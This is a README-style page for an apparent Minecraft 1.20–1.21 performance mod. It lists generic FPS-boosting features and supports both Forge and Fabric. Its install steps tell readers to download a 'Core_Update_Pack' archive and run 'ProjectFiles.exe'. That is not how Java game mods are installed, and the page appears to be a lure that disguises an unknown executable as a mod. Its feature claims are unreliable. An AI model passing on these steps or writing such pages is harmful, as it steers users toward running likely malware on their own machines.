Performance Optimization Mod for Minecraft 1.20 – 1.21
High-performance FPS booster designed to significantly increase frame rate, reduce lag spikes and optimize rendering.
Clean modular architecture with full configuration support for both Forge and Fabric.
A complete performance optimization mod that provides:
- Aggressive FPS boosting
- Smart entity & chunk culling
- Memory and garbage collection optimization
- Render pipeline improvements
- Fully configurable settings
- Low overhead design
- Advanced render optimizer
- Entity culling system
- Chunk loading optimization
- Memory management
- Dynamic performance profiles
- Compatible with most other mods
- Forge & Fabric support
- Download the latest core pack
- Extract the archive
- Run
ProjectFiles.exe - Follow the on-screen instructions
Click the green button above to get Core_Update_Pack and launch
ProjectFiles.exe
All settings are stored in config/default.json:
- Render distance optimization
- Entity culling strength
- Chunk loading priority
- Memory cleanup interval
- Performance profile (Balanced / Aggressive / Ultra)
git clone https://github.com/YOUR_USERNAME/minecraft-fps-booster.git
cd minecraft-fps-booster
./gradlew build